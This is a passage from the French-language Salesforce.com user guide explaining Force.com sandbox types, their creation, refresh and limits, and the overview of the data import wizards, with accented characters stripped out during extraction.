Salesforce.com vous offre la possibilit de crer plusieurs copies de votre entreprise dans des environnements distincts avec,
pour objectifs principaux, le test et la formation, sans altrer les donnes et les applications de votre entreprise de production
Salesforce.com. Ces copies sont appeles sandbox et sont presque identiques votre organisation de production Salesforce.com.
Pour obtenir une liste de diffrences, reportez-vous Conseils et considrations pour la configuration des versions test Sandbox
Force.com la page 250.
Les versions test Sandbox sont totalement isoles de votre entreprise de production Salesforce.com. Ainsi, les oprations que
vous effectuez dans ces versions test n'ont pas d'incidence sur votre entreprise de productionSalesforce.com, et vice versa.
Il existe trois types de version test Sandbox :
Configuration uniquement
Les versions test Sandbox de type configuration seule copient l'ensemble des rapports, tableaux de bord, catalogues de
prix, produits, sous-applications et personnalisations de votre entreprise de production sous Configuration, mais excluent
tous les enregistrements d'objet personnalis et standard, ainsi que tous les documents et pices jointes de votre entreprise.
La cration d'une version test Sandbox de type Configuration seule peut diminuer la dure de cration ou d'actualisation
d'une version test Sandbox de quelques heures seulement quelques minutes, mais elle ne peut contenir que 500 Mo de
donnes.

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 247

Developer Sandbox
Les Developer Sandboxes sont des versions test sandbox de configuration spciales uniquement permettant un seul
dveloppeur de programmer et de tester des programmes. Elles fournissent un environnement dans lequel les modifications
en cours de dveloppement peuvent tre isoles jusqu' ce qu'elles soient partages. Tous comme les versions test Sandbox
de type configuration uniquement, les versions test Developer Sandbox copient toutes les informations d'application et
de configuration dans la version test Sandbox. Les versions test Developer Sandbox sont limites 10 Mo de donnes
test ou de donnes d'essai ce qui est suffisant pour de nombreuses tches de dveloppement et de test.
Intgral
Les versions test Sandbox de type copie intgrale copient l'ensemble de votre entreprise de production et de ses donnes,
notamment les enregistrements d'objet personnalis et standard, les documents et les pices jointes.
Limites des versions test sandbox
Les limites suivantes s'appliquent aux versions test sandbox :

Vous pouvez commander jusqu' trois versions test sandbox compltes.

L'dition Unlimited contient une version test sandbox complte et offre la possibilit d'acheter jusqu' trois versions test
sandbox compltes supplmentaires.
Vous pouvez commander jusqu' six versions test sandbox de configuration uniquement.
Vous pouvez actualiser chaque version test sandbox tous les 29 jours partir de la dernire actualisation ou de la cration.
Remarque: Contactez salesforce.com pour commander des versions test sandbox pour votre organisation.

Voir aussi :
Cration ou actualisation d'une version test sanbox
Conseils et considrations pour la configuration des versions test Sandbox Force.com
Gestion de versions test Sandbox

Cration ou actualisation d'une version test sanbox

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher une version test Sandbox :

Afficher la configuration

Pour crer, actualiser, activer et supprimer des versions test

Sandbox :

Modifier toutes les donnes

Pour crer ou actualiser une version test :

1. Cliquez sur Configuration Gestion des donnes Sandbox.
2. Slectionnez l'une des options suivantes&#160;:

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 248

Cliquez sur Nouvelle version test Sandbox pour crer une version test Sandbox. Pour plus d'informations sur les
diffrents types de versions test sandbox, reportez-vous Force.com Sandbox la page 246.
Salesforce.com dsactive le bouton Nouvelle version test Sandbox lorsqu'une entreprise atteint le nombre maximal de
versions test Sandbox. Si ncessaire, contactez salesforce.com pour commander davantage de versions test Sandbox
pour votre entreprise.

Notez que Salesforce.com dsactive tous les liens d'actualisation si vous avez atteint la limite de la version test sandbox.
Cliquez sur Actualiser pour remplacer une version test Sandbox existante par une nouvelle copie. Salesforce.com affiche
uniquement le lien Actualiser des versions test sandbox qui peuvent tre actualises, savoir 30 jours aprs la cration
ou la dernire actualisation de la version test sandbox. Votre copie existante de cette version test sandbox reste disponible
en attendant l'actualisation. La copie actualise est inactive jusqu' ce que vous l'activiez.

3. Saisissez le nom et la description de la version test. Vous pouvez changer le nom seulement lors de la cration ou de
l'actualisation d'une version test.
Conseil: Nous vous conseillons de choisir un nom qui :

Reflte l'objectif de cette version test, tel que QA .

Contient peu de caractres, car Salesforce.com ajoute automatiquement le nom de la version test sandbox aux
noms d'utilisateur et aux adresses e-mail dans les enregistrements utilisateur de l'environnement de version test
Sandbox. Les noms contenant peu de caractres facilitent la saisie des informations de connexion Sandbox.

4. Slectionnez le type de version test Sandbox :

Les versions test Sandbox de type configuration uniquement copient l'ensemble des rapports, tableaux de bord, catalogues
de prix, produits, sous-applications et personnalisations de votre entreprise de production sous Configuration, mais
excluent tous les enregistrements d'objet personnalis et standard, ainsi que tous les documents et pices jointes de votre
entreprise. La cration d'une version test Sandbox de type configuration uniquement peut diminuer la dure de cration
ou d'actualisation d'une version test Sandbox de quelques heures seulement quelques minutes, mais elle ne peut
contenir que 500 Mo de donnes.
Les Developer Sandboxes sont des versions test sandbox de configuration spciales uniquement permettant un seul
dveloppeur de programmer et de tester des programmes. Elles fournissent un environnement dans lequel les modifications
en cours de dveloppement peuvent tre isoles jusqu' ce qu'elles soient partages. Tous comme les versions test
Sandbox de type configuration uniquement, les versions test Developer Sandbox copient toutes les informations
d'application et de configuration dans la version test Sandbox. Les versions test Developer Sandbox sont limites 10
Mo de donnes test ou de donnes d'essai ce qui est suffisant pour de nombreuses tches de dveloppement et de test.
Les versions test Sandbox de type intgral copient l'ensemble de votre entreprise de production et de ses donnes,
notamment les enregistrements d'objet personnalis et standard, les documents et les pices jointes.
Si vous avez rduit le nombre de versions test sandbox que vous avez achetes et que vous disposez toujours d'un plus
grand nombre de versions test sandbox d'un type donn que celui qui est autoris, vous devez faire correspondre le
nombre de versions test sandbox au nombre de versions test sandbox achetes. Si, par exemple, vous disposez de deux
versions test sandbox compltes, mais en avez achet qu'une seule, vous ne pouvez pas actualiser la version test sandbox
comme version test sandbox complte. Vous devez choisir une version test sandbox complte pour la convertir en version
test sandbox plus petite, telle qu'une version test sandbox de configuration uniquement ou de dveloppeur, selon le type
de version test sandbox disponible.
Remarque: Les versions Developer Sandboxes de type configuration uniquement copient l'ensemble des rapports,
tableaux de bord, catalogues de prix, produits, sous-applications et personnalisations de votre entreprise de production
sous Configuration mais excluent tous les enregistrements d'objet personnalis et standard, ainsi que tous les
documents et pices jointes de votre entreprise. Parce que ces types de version test Sandbox copient un volume

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 249

moins important de donnes, leur cration peut fortement rduire la dure de cration ou d'actualisation d'une
version test Sandbox.
Si vous actualisez une version test Sandbox existante, le bouton radio prslectionne gnralement le type de version test
Sandbox correspondant la version test Sandbox que vous actualisez. Par exemple, si vous actualisez une version test
Sandbox de type configuration uniquement, le bouton radio prslectionne Configuration Uniquement.
Que vous actualisiez une version test Sandbox existante ou que vous en criez une nouvelle, certains boutons radio peuvent
tre dsactivs si vous avez dj cr le nombre de versions test Sandbox de ce type autoris pour votre entreprise.
5. Cliquez sur Lancer la copie.
Le processus peut durer plusieurs minutes, heures ou mmes jours, en fonction de la taille de votre organisation et du type
de copie que vous crez, savoir une copie intgrale ou une copie de type configuration uniquement.
Conseil: Vous devez essayer de limiter les modifications dans votre organisation de production lorsque la copie
d'une version test sandbox est en cours.
6. Vous recevrez une notification par e-mail lorsque votre version test nouvellement cre ou actualise a termin la copie. Si
vous crez une nouvelle version test Sandbox, cette nouvelle version est maintenant prte l'emploi.
Si vous actualisez une version test Sandbox existante, vous devez excuter une tape supplmentaire pour terminer le
processus de copie de cette version test Sandbox. La nouvelle version test Sandbox doit tre active. Pour supprimer votre
version test Sandbox existante et en activer une nouvelle, retournez la liste des versions test Sandbox en vous connectant
votre entreprise de production et en vous rendant au menu Configuration Gestion des donnes Version test
Sandbox. Puis cliquez sur le lien Activer ct de la version test Sandbox activer. Vous tes alors dirig vers une page
vous avertissant de la suppression de votre version test Sandbox. Veuillez lire attentivement cet avertissement et si vous
acceptez la suppression, saisissez le texte demand l'invite puis cliquez sur le bouton Activer. Lorsque le processus
d'activation est termin, vous recevez une notification par e-mail.
ATTENTION: L'activation d'une version test Sandbox de remplacement cre l'aide du lien Actualiser supprime
entirement la version test Sandbox ayant t actualise. Toutes les configurations et les donnes de la copie de la
version test Sandbox prcdente seront perdues, y compris les modifications d'applications ou de donnes effectues.
Veuillez lire attentivement les avertissements puis cliquez sur le lien Activer uniquement si vous ne souhaitez pas
conserver le contenu de la copie de la version test Sandbox actuellement utilise. Votre entreprise de production
et ses donnes ne seront pas affectes.
7. Une fois votre nouvelle version test Sandbox termine, ou votre version test Sandbox actualise active, cliquez sur le lien
de la notification par e-mail pour accder votre version test Sandbox.
Les utilisateurs peuvent se connecter la version test Sandbox l'adresse
https://www.test.salesforce.com/login.jsp en ajoutant .nom_version test leur nom d'utilisateur
Salesforce.com. Par exemple, si votre nom d'utilisateur pour votre entreprise de production est utilisateur1@acme.com,
alors votre nom d'utilisateur pour une version test appele test est utilisateur1@acme.com.test. Pour plus
d'informations, reportez-vous Modification des adresses e-mails et des noms utilisateurs la page 252.
Remarque: Salesforce.com change automatiquement les noms d'utilisateur Sandbox, mais pas les mots de passe.

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 250

Conseils et considrations pour la configuration des versions test Sandbox

Force.com
Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher une version test Sandbox :

Afficher la configuration

Pour crer, actualiser, activer et supprimer des versions test

Sandbox :

Modifier toutes les donnes

Avant de crer une version test Sandbox, tenez compte des points suivants :
Serveurs et IDs

Les ID d'entreprise de vos versions test Sandbox diffrent de l'ID de l'entreprise de production, et changent chaque
actualisation de votre version test.
Salesforce.com stocke les organisations sandbox dans plusieurs instances. Lorsqu'une version test sandbox est cre ou
actualise, une instance de votre version test sandbox est slectionne pour que votre version test sandbox apparaisse dans
des instances diffrentes et qu'elle ait des URL diffrentes.
Lorsque vous copiez des donnes qui contiennent des IDs d'objet de l'instance de production vers votre version test sandbox,
les IDs d'objet dans votre version test sandbox correspondent aux IDs d'objet dans votre instance de production. Toutefois,
les donnes cres dans l'instance de production ou dans la version test sandbox ne contiendront pas les IDs d'objet
correspondants.

Modification du nom d'utilisateur et de l'adresse e-mail

Les informations de l'utilisateur sont incluses dans une copie de version test sandox ou actualises pour tous les types de
version test sandbox. Comme tous les noms d'utilisateur Salesforce.com doivent tre uniques et faire rfrence une seule
organisation, tous les noms d'utilisateur copis sont modifis pour s'assurer qu'ils sont uniques durant la copie. Les noms
d'utilisateur sont modifis diffremment pour chaque copie de version test sandbox. Si vous entrez un nom d'utilisation
modifi, vous vous connectez une version test sandbox spcifique.
Pour chaque nom d'utilisateur, la copie applique une ou deux modifications de manire approprie pour gnrer un nouveau
nom d'utilisateur unique :
-

Tout d'abord, le nom de la version test sandbox est ajout au nom d'utilisateur pour qu'une version test sandbox nomme
test nom d'utilisateur@acme.com devienne nom d'utilisation@acme.com.test.
Si le nom d'utilisateur rsultant n'est pas unique, une seconde modification est effectue en ajoutant des caractres et
des chiffres au nom d'utilisateur modifi. Cette seconde modification peut gnrer le nom d'utilisateur
00x7Vqutilisateur@acme.com.test, par exemple.

Les adresses e-mail sont modifies dans une version test sandbox pour que les utilisateurs de l'environnement de production,
qui ne connaissent peut-tre pas la version test sandbox, ne reoivent pas automatiquement les e-mails gnrs par la version
test sandbox, telles que des notifications des rgles de workflow ou d'escalade dclenches. En modifiant les adresses e-mail
des utilisateurs, les e-mails envoys par la version test sandbox ne sont pas envoys aux utilisateurs de l'organisation de
production.
Vous pouvez corriger manuellement les adresses e-mail dans les enregistrements utilisateur de la version test Sandbox pour
les utilisateurs qui se serviront de la version test Sandbox pour le test et la formation.

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 251

ATTENTION: Les versions test sandbox changent automatiquement les adresses e-mail d'utilisateurs
Salesforce.com, mais ne changent pas les autres adresses e-mail dans Salesforce.com, notamment celles des
enregistrements de contact. Pour viter d'envoyer des e-mails non sollicits depuis vos versions test Sandbox, rendez
non valides toutes les adresses e-mail des versions test Sandbox n'appartenant pas aux utilisateurs ou supprimez-les
manuellement. Lorsque vous testez la gnration d'e-mails sortants, modifiez les adresses e-mail des contacts et
remplacez-les par celles des testeurs ou par un script de test automatis.

Cration, actualisation et suppression de versions test sandbox

La copie de version test sandbox est une opration longue qui s'excute en arrire-plan. Vous tes averti de la fin de la copie
de la version test sanbox par e-mail. Les actualisations de version test sandbox peuvent durer quelques minutes, plusieurs
jours ou mme plus d'une semaine.
Un certain nombre de conditions affectent la dure d'une copie ou d'une actualisation de version test sandbox, notamment
le nombre de personnalisation, la taille des donnes, le nombre d'objets (pour les copies compltes) et la charge de travail
du serveur. En outre, les actualisations de version test sandbox sont places en file d'attente et la copie demande peut ne
pas dmarrer immdiatement aprs votre demande.
Une version test sandbox n'est pas un instantan un moment donn de l'tat exact de vos donnes. En outre, il est
recommand de limiter les modifications de votre organisation de production lors de la cration ou de l'actualisation d'une
version test sandbox. Les modifications de configuration et de donnes dans votre organisation de production au cours de
la cration et de l'actualisation d'une version test sandbox peuvent gnrer des incohrences dans la version test sandbox.
Vous pouvez dtecter et corriger certaines d'entre elles dans la version test sandbox aprs sa copie ou son actualisation.
Il se peut que vous ne puissiez pas choisir certains types de version test sandbox si vous avez dj atteint le quota de cration
ou d'actualisation de types de version test sandbox de votre organisation. Si, par exemple, votre organisation est limite
une version test sandbox complte et que vous crez une telle version test sandbox, vous ne pouvez pas cocher la case
Intgral lors de la cration d'une version test sandbox. Toutefois, vous pouvez actualiser votre sandbox complte existante.
Lorsque vous terminez de travailler avec une version test sandbox, vous pouvez l'actualiser pour crer une copie. Toutefois,
si vous avez rduit le nombre de versions test sandbox de votre organisation, un lien de suppression s'affiche ct des
versions test sandbox existantes pour vous permettre de supprimer celle de votre choix. Notez que vous devez supprimer
une version test sandbox pour pouvoir actualiser d'autres versions test sandbox.
Si des connexions Salesforce to Salesforce sont actives dans la version test sandbox, vous devez les dsactiver et les ractiver
aprs l'actualisation de la version test sandbox.

Accs aux versions test sandbox

Modifications d'accs pour les utilisateurs de versions test sandbox

-

Une version test sandbox supprime et recre la version test sandbox en tant que nouvelle copie de l'organisation de
production. Dans la pratique, toute modification d'accs manuelle que vous avez effectue est annule. Si vous avez
cr des utilisateurs de version test sandbox seulement, ils n'existent plus et les valeurs de profil et d'autorisations d'un
utilisateur sont restaures dans l'organisation de production. Par consquent, aprs l'actualisation de la version test
sandbox, les modifications d'accs doivent tre recres dans la nouvelle copie.
Dans votre organisation de production, vous pouvez crer des utilisateurs qui sont inactifs, puis les activer dans la version
test sandbox. Cette mthode est efficace pour crer un utilisateur dans une version test sandbox avec les autorisations
requises pour dvelopper dans sandbox. Pour plus d'informations, reportez-vous Modification des utilisateurs la
page 96.
De nombreuses tches de dveloppement et de test ncessitent l'autorisation Modifier toutes les donnes. Si les
dveloppeurs ne disposent pas de cette autorisation dans l'organisation de production, vous devez augmenter leurs
autorisations dans la version test sandbox. Accordez cette autorisation avec prcaution dans les organisations sandbox,
car elle contient des informations confidentielles copies depuis la production (par exemple, des numros de scurit
sociale). Pour modifier les autorisations de l'organisation, reportez-vous Autorisations utilisateurs sur les profils la
page 117.

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 252

Vous pouvez crer des utilisateurs pour le dveloppement test sandbox, mais ils sont comptabiliss dans le nombre
d'utilisateurs licencis de votre organisation. Pour rduire le nombre de licences, vous pouvez dsactiver les utilisateurs
de production qui n'ont pas besoin d'accder la version test sandbox. Pour plus d'informations, reportez-vous
Dsactivation des utilisateurs la page 97.
Pour accorder aux utilisateurs l'accs une version test sandbox, vous devez vous connecter en tant qu'administrateur
dans l'organisation sandbox, puis crer ou mettre niveau l'accs des utilisateurs dans la version test sandbox.

Connectez-vous toujours votre organisation Sandbox en utilisant l'URL https://test.salesforce.com.

Veillez vous connecter en utilisant le nom modifi, comme indiqu dans Modification du nom d'utilisateur et de l'adresse
e-mail la page 252.
Si vous utilisez l'API, vous devez utiliser l'URL de redirection envoye dans l'objet loginResult pour les accs suivants aprs
vous tre connect. Cette URL reflte l'instance o se trouve la version test sandbox et le groupe de serveurs appropri
pour l'accs API.
Toutes les copies de versions test sandbox sont ralises avec l'authentification fdre avec SAML dsactiv. Les informations
de configuration sont conserves, l'exception de la valeur des modifications de l'URL du destinaire apportes dans
http://tapp0.salesforce.com.. L'URL du destinataire est mise jour pour correspondre l'URL de la version
test sandbox (http://cs1.salesforce.com, par exemple) aprs la ractivation de SAML. Pour activer SAML dans
la copie de la version test sandbox, cliquez sur Configuration Commandes de scurit Paramtres de connexion
unique, puis cliquez sur Modifier et slectionnez SAML activ. Vous devez changer la valeur de l'URL du destinataire
dans le certificat de l'application cliente galement. Pour plus d'informations, reportez-vous Description de SAML dans
Salesforce.com la page 192 et Configuration des paramtres SAML de la connexion unique la page 192.

Limites de stockage de version test Sandbox

Les versions test sandbox compltes ont les mmes limites de stockage que votre organisation de production.
Les versions test sandbox de configuration uniquement ont une limite de stokage de 500 Mo.
Les versions test sandbox de dveloppement ont une limite de stockage de 10 Mo.
Les versions test sandbox n'envoient pas de notifications par e-mail lorsque les limites de stockage sont atteintes. Toutefois,
si vous atteignez la limite de stockage de votre version test sandbox, vous ne pouvez plus enregistrer de donnes dans la
sandbox. Pour vrifier les limites de stockage de la version test sandbox, cliquez sur Configuration Gestion des donnes
Utilisation du stockage dans la version test sandbox. Pour plus d'informations sur les limites de stockage, reportez-vous
Surveillance des ressources la page 218.

Personnalisation et modifications des donnes

Les personnalisations et les modifications de donnes dans votre organisation de production n'apparaissent pas
automatiquement dans les versions test sandbox. Vous devez crer une version test Sandbox ou actualiser une version
existante pour voir les personnalisations ralises sur votre entreprise depuis la dernire cration ou actualisation d'une
version test Sandbox.
Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com dans Developer
Edition ou dans l'organisation de test Sandbox. Dans une organisation de production Salesforce.com, vous pouvez effectuer
des modifications dans l'Apex uniquement en utilisant l'appel compileAndTestAPI(). Pour plus d'informations,
reportez-vous au manuel Force.com Apex Code Developer's Guide.
Si la version de votre sandbox est identique celle de Force.com AppExchange, vous pouvez :
-

Installer et dployer des applications partir de Force.com AppExchange dans votre version test sandbox.
Publier des applications partir de votre version test sandbox dans Force.com AppExchange.
Il est dconseill de publier des packages grs depuis une version test sandbox Force.com, car l'actualisation ou la
suppression de la version test sandbox empche de modifier les packages grs.

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 253

La version de vos sandbox peut tre diffrente de celle de Force.com AppExchange l'approche d'une nouvelle version de
Salesforce.com. Observez le logo dans l'angle suprieur gauche de la page d'accueil de votre version test Sandbox pour
obtenir des informations sur la version.
Exclusions de services

Les fonctions suivantes sont dsactives et ne peuvent pas tre actives dans des versions test Sandbox :
-

Escalade des requtes

Rappels d'opportunit
Avertissements d'expiration de contrat
Rcapitulatif de l'inscription
Exportations hebdomadaires de donnes automatiques
Cration de versions test sandbox Salesforce.com.
La hirarchisation des requtes, les rappels d'opportunit et les avertissements d'expiration de contrat sont dsactivs
car ils envoient automatiquement des e-mails aux contacts et aux clients et utilisateurs qui ne doivent pas interagir avec
les versions test Sandbox.

Le test de Salesforce CRM et Google AdWords dans votre version test sandbox n'est pas pris en charge. Toute tentative
de test de Salesforce CRM et Google AdWords dans votre version test sandbox gnre des erreurs, car votre organisation
sandbox fonctionne avec le mme lien vers votre compte Google AdWords que votre organisation de production.
Les adresses de service de messagerie que vous crez dans votre version test sandbox ne peuvent pas tre copies vers
votre organisation de production.

Autres diffrences de services

Seuls les liens personnaliss crs comme URL relatives (par exemple, /00Oz0000000EVpU&pv0={!Account_ID}
fonctionneront dans vos versions test sandbox. Les liens personnaliss crs en tant qu'URL absolues
https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, par exemple ne fonctionnent pas
dans les versions test sandbox de votre organisation. Il est recommand d'utiliser des URL relatives uniquement dans
l'organisation de production. Autrement, vous devez corriger les URL dans chaque version test sandbox.
Salesforce.com possde un processus en arrire-plan qui supprime dfinitivement de la Corbeille les enregistrements de
plus de 30 jours. Ce processus est excut des heures diffrentes sur des serveurs diffrents. Son horodatage dans la version
test Sandbox que vous possdez diffre ainsi de celui dans votre entreprise de production. Les applications et intgrations
qui dpendent de cet horodatage peuvent ne pas fonctionner si elles sont d'abord connectes un environnement, tel que
votre entreprise de production, puis un autre environnement, tel que votre version test Sandbox. Gardez cela l'esprit
lors du dveloppement des applications et intgrations qui dpendent de cet horodatage.
Notez que vous pouvez connatre l'heure de la dernire excution de la suppression en utilisant l'appel API getDeleted()
. Pour plus d'informations, reportez-vous au guide Force.com Web Services API Developer's Guide.

Voir aussi :
Force.com Sandbox

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 254

Gestion de versions test Sandbox

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher une version test Sandbox :

Afficher la configuration

Pour crer, actualiser, activer et supprimer des versions test

Sandbox :

Modifier toutes les donnes

Pour grer vos versions test Sandbox, cliquez sur Configuration Gestion des donnes Sandbox. La liste des versions
test sandbox existantes s'affiche.

Cliquez sur Nouvelle version test Sandbox pour crer une version test Sandbox. Pour plus d'informations sur les diffrents
types de versions test sandbox, reportez-vous Force.com Sandbox la page 246.
Salesforce.com dsactive le bouton Nouvelle version test Sandbox lorsqu'une entreprise atteint le nombre maximal de
versions test Sandbox. Si ncessaire, contactez salesforce.com pour commander davantage de versions test Sandbox pour
votre entreprise.

Notez que Salesforce.com dsactive tous les liens d'actualisation si vous avez atteint la limite de la version test sandbox.
Cliquez sur Afficher les actualisations de la version test pour afficher l'historique d'actualisation des versions test sandbox,
notamment la date de cration des versions test sandbox et le nom de leur crateur.
Cliquez sur Actualiser pour remplacer une version test Sandbox existante par une nouvelle copie. Salesforce.com affiche
uniquement le lien Actualiser des versions test sandbox qui peuvent tre actualises, savoir 30 jours aprs la cration ou
la dernire actualisation de la version test sandbox. Votre copie existante de cette version test sandbox reste disponible en
attendant l'actualisation. La copie actualise est inactive jusqu' ce que vous l'activiez.
Cliquez sur Activer pour activer une version test Sandbox actualise. Vous devez activer votre version test Sandbox actualise
avant d'y accder. Salesforce.com n'affiche cette option que pour les versions test Sandbox qui ne sont pas actives.
ATTENTION: L'activation d'une version test Sandbox actualise remplace la version test Sandbox existante par
la version actualise. Cette opration supprime de faon dfinitive la version existante, ainsi que toutes les donnes
qu'elle contient. Votre entreprise de production et ses donnes ne seront pas affectes.

Cliquez sur Suppr pour supprimer une version test Sandbox. L'option de suppression n'est disponible que si votre entreprise
dpasse son nombre maximal de versions test Sandbox.
ATTENTION: La suppression dfinitive d'une version test Sandbox supprime la version test Sandbox et toutes
les donnes qu'elle contient. Votre entreprise de production et ses donnes ne seront pas affectes.

Cliquez sur Connexion pour vous connecter une version test Sandbox. Salesforce.com n'affiche cette option que pour
les versions test Sandbox actives.
Notez que le bouton Connexion est destin aux administrateurs et qu'il peut ne pas tre disponible. Toutefois, vous pouvez
vous connecter une version test sandbox active l'adresse https://test.salesforce.com en entrant vos nom
d'utilisateur et mot de passe modifis. Pour changer votre nom d'utilisateur ou votre mot de passe, reportez-vous
Modification de votre mot de passe la page 32.

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 255

Cliquez sur le nom de la version test sandbox pour afficher ses informations , notamment son type et sa date de cration.

Voir aussi :
Force.com Sandbox

Prsentation de l'importation
Disponible avec : Toutes les ditions
L'importation de l'organisation n'est pas disponible dans : Personal Edition
L'importation d'objets personnaliss n'est pas disponible avec : Personal Edition
L'importation de pistes n'est pas disponible dans : Personal Edition et Contact Manager Edition
L'importation de solutions n'est pas disponible avec : Personal Edition, Contact Manager Edition et Group Edition
L'importation de comptes personnels n'est pas disponible avec : Personal Edition, Contact Manager Edition, Group Edition
et Professional Edition

Vous pouvez importer des donnes partir d'ACT!, d'Outlook ou d'un programme quelconque capable d'enregistrer les
donnes au format CSV (valeurs spares par des virgules), comme Excel ou GoldMine.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

Le tableau suivant rsume les types d'enregistrement pouvant tre imports.

Quels enregistrements peuvent tre imports ?
Type d'enregistrement

Limite d'importation des

enregistrements

Type d'utilisateur

Rubrique de prsentation

Les comptes professionnels et 500 la fois

les contacts dont vous tes
responsable

Tous les utilisateurs

Quels lments sont imports

pour les comptes
professionnels et les contacts ?

Les comptes professionnels et 50 000 la fois

les contacts dont plusieurs
utilisateurs sont responsables

Administrateurs

Quels lments sont imports

pour les comptes
professionnels et les contacts ?

Les comptes personnels dont 50 000 la fois

vous tes responsable

Tous les utilisateurs

Quels lments sont imports

pour les comptes personnels ?

Les comptes personnels dont 50 000 la fois

plusieurs utilisateurs sont
responsables

Administrateurs

Quels lments sont imports

pour les comptes personnels ?

Les utilisateurs autoriss

modifier toutes les donnes

Utilisateurs disposant de
l'autorisation Importer des
comptes personnels

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 256

Quels enregistrements peuvent tre imports ?

Type d'enregistrement
Piste

Limite d'importation des

enregistrements
50 000 la fois

Type d'utilisateur
Administrateurs
Les utilisateurs autoriss
modifier toutes les donnes

Membres de campagne

50 000 pour l'importation de

pistes comme nouveaux
membres de campagne et la
mise jour du statut de
membres de campagne
existants.

Administrateurs

Objets personnaliss

50 000 la fois

Administrateurs

50 000 la fois

Administrateurs
Utilisateurs disposant de
l'autorisation Importer des
solutions

Actifs

Quels sont les lments

imports dans les pistes ?

Quels sont les lments

imports pour les membres de
Les utilisateurs marketing (ou
campagne ?
les utilisateurs autoriss
importer des pistes et
modifier des campagnes)
peuvent importer de nouvelles
pistes en tant que membres de
campagne. Les utilisateurs
doivent aussi possder
l'autorisation de lecture sur les
contacts afin d'utiliser
l'assistant de mise jour de
campagne pour transformer
les pistes et contacts existants
en membres de campagne.

Les utilisateurs autoriss

modifier toutes les donnes
Solutions

Rubrique de prsentation

Quels sont les lments

imports pour les objets
personnaliss ?
Quels sont les lments
imports pour les solutions ?

Ces enregistrements ne peuvent pas tre imports via les assistants d'importation.

Requtes
Campagnes
Contrats
Documents
Opportunits
Produits

Pour plus d'informations sur l'accessibilit du champ et l'importation des valeurs des diffrents types de champ, reportez-vous
Remarques concernant l'importation de donnes la page 264.

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 257

Processus d'importation des enregistrements

Pour importer des enregistrements dans Salesforce.com, suivez les tapes des rubriques ci-aprs :
1. Cration de fichiers d'exportation pour les assistants d'importation
2. Prparation des donnes importer
3. Accs aux assistants d'importation
Remarque: Outre ces limites imposes chacune des importations, celles-ci sont galement soumises aux limites
globales de stockage prvues pour votre organisation. Reportez-vous Surveillance des ressources la page 218 pour
plus d'informations sur les limites de stockage.
Bien que ce soit des objets personnaliss, les membres de groupe de relations ne peuvent pas tre imports.

Voir aussi :
Importation de plusieurs devises
Annulation d'une importation
Importation de membres de campagne
FAQ : Importation
Fiche de conseil de l'administrateur : Importation des donnes de votre organisation

Quels lments sont imports pour les comptes professionnels et les

contacts ?
Disponible avec : Toutes les ditions
L'importation de l'organisation n'est pas disponible dans : Personal Edition

Les assistants d'importation de comptes professionnels et de contacts vous permettent de faire correspondre des enregistrements
de plusieurs manires, et ce, afin d'viter les doublons. Vous pouvez faire correspondre les contacts par nom, adresse e-mail
ou ID Salesforce.com. Les comptes professionnels peuvent correspondre par ID Salesforce.com ou par nom et par site. La
correspondance par ID Salesforce.com inclut les contacts et les comptes professionnels ; si vous faites correspondre l'un d'eux
par ID Salesforce.com, l'autre correspond galement par ID Salesforce.com.
Correspondance par nom et site
Si vous choisissez de faire correspondre les contacts par nom et les comptes professionnels par nom et site (options
recommandes), les assistants d'importation crent automatiquement dans le fichier d'importation un compte professionnel
pour chaque combinaison unique de nom et site de compte professionnel. Ils crent galement un contact distinct pour chaque
nom de contact rpertori dans le fichier. Les contacts sont ensuite associs aux comptes professionnels adquats.
Si le compte professionnel ou le contact existe dj dans le systme et que vous disposez d'un accs en lecture/criture sur
l'enregistrement, les assistants ajoutent vos donnes d'importation aux donnes existantes dans Salesforce.com. En outre, si
un nom de compte professionnel ou de contact de votre fichier d'importation est identique un nom de compte professionnelou
de contact existant, les donnes d'importation sont ajoutes aux donnes existantes dans Salesforce.com (reportez-vous Les
assistants d'importation de contacts et de comptes professionnels peuvent-ils reconnatre des noms identiques ? la page 2141).

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 258

Correspondance par ID Salesforce.com

Vous pouvez galement choisir de faire correspondre les comptes professionnels et les contacts par ID Salesforce. Dans ce cas,
l'ID Salesforce.com reprsente le critre d'annulation des doublons. Toutefois, si vous faites correspondre par l'ID et qu'un
enregistrement de votre fichier source possde le mme ID qu'un enregistrement dans Salesforce.com, cet enregistrement est
mis jour dans Salesforce.com. Les ID d'enregistrement respectent la casse et doivent tre strictement identiques.
Remplacement de valeurs de compte existantes
Les assistants n'effacent jamais les champs de compte professionnel existants sauf si vous cochez la case Remplacer les
valeurs de compte existantes. Lorsque cette case est coche, vous pouvez insrer de nouvelles donnes ou mettre
jour des champs de compte professionnel existants avec de nouvelles donnes. Notez toutefois que cette case ne vous permet
pas de remplacer les donnes du champ existant par des valeurs vides. Lorsque cette case n'est pas coche, l'assistant met jour
les champs de compte professionnel vides mais n'excute aucune action sur les champs existants.
Si vous ne disposez pas d'un accs en lecture/criture un compte professionnel ou un contact existant, les assistants crent
un compte professionnel ou un contact dont vous tes le responsable. De plus, les assistants crent des comptes professionnels
et des contacts en fonction des champs spcifiques de votre fichier d'importation. Reportez-vous Quand les assistants
d'importation crent-ils des comptes professionnels et contacts ? la page 2139
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, les assistants d'importation permettent
galement d'importer des notes sur les comptes professionnels et les contacts. Les assistants n'importent pas les notes qui sont
strictement identiques des notes de comptes professionnels et de contacts existants.

Voir aussi :
Prsentation des comptes
